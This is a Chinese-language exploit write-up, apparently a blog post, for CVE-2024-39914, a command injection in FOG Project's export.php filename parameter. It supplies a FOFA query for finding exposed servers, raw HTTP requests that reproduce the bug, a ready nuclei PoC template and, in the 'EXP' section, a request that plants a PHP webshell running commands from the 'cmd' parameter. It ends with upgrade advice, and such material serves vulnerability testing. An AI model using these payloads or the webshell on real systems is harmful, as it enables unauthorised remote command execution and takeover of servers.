免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！
01
—
漏洞名称
FOG 在 /fog/management/export.php 中存在命令注入漏洞
02
—
漏洞影响
FOG < 1.5.10.34版本
03
—
漏洞描述
FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。
04
—
FOFA搜索语句
body="FOG Project"
05
—
漏洞复现
第一步，打开首页瞅一眼
第二步，向靶场发送如下数据包，核心是向qzjtyryy.php文件写入随机字符串echo+'kpvyggzrnonvuycaipvl'+>+qzjtyryy.php
POST /fog/management/export.php?filename=$(echo+'kpvyggzrnonvuycaipvl'+>+qzjtyryy.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Length: 25
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
响应内容如下
HTTP/1.1 200 OK
Connection: close
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate
Content-Disposition: attachment; filename=$(echo 'kpvyggzrnonvuycaipvl' > qzjtyryy.php).pdf
Content-Security-Policy: default-src 'none';script-src 'self' 'unsafe-eval';connect-src 'self';img-src 'self' data:;style-src 'self' 'unsafe-inline';font-src 'self';
Content-Type: application/pdf
Date: Fri, 19 Jul 2024 01:20:08 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
Set-Cookie: PHPSESSID=9k547umgoipd3k1giph5bh287j; path=/
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Powered-By: PHP/7.2.24
X-Xss-Protection: 1; mode=block
第三步，访问回显文件
GET /fog/management/qzjtyryy.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
Cookie: PHPSESSID=9k547umgoipd3k1giph5bh287j
响应内容如下
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Date: Fri, 19 Jul 2024 01:20:08 GMT
Server: Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24
kpvyggzrnonvuycaipvl
漏洞复现成功
参考链接
https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
06
—
nuclei poc
poc文件内容如下
id: CVE-2024-39914
info:
name: FOG 在 /fog/management/export.php?filename= 中存在命令注入漏洞
author: fgz
severity: critical
description: FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。
metadata:
max-request: 1
fofa-query: body="FOG Project"
verified: true
variables:
file_name: "{{to_lower(rand_text_alpha(8))}}"
file_content: "{{to_lower(rand_text_alpha(20))}}"
rboundary: "{{to_lower(rand_text_alpha(29))}}"
requests:
- raw:
- |+
POST /fog/management/export.php?filename=$(echo+'{{file_content}}'+>+{{file_name}}.php)&type=pdf HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fogguiuser=fog&nojson=2
- |
GET /fog/management/{{file_name}}.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
matchers:
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"
07
—
EXP
写入webshell
POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
fogguiuser=fog&nojson=2
08
—
修复建议
升级到最新版本。漏洞利用成本非常低，请尽快修复。
~~~点赞的大佬最帅~~~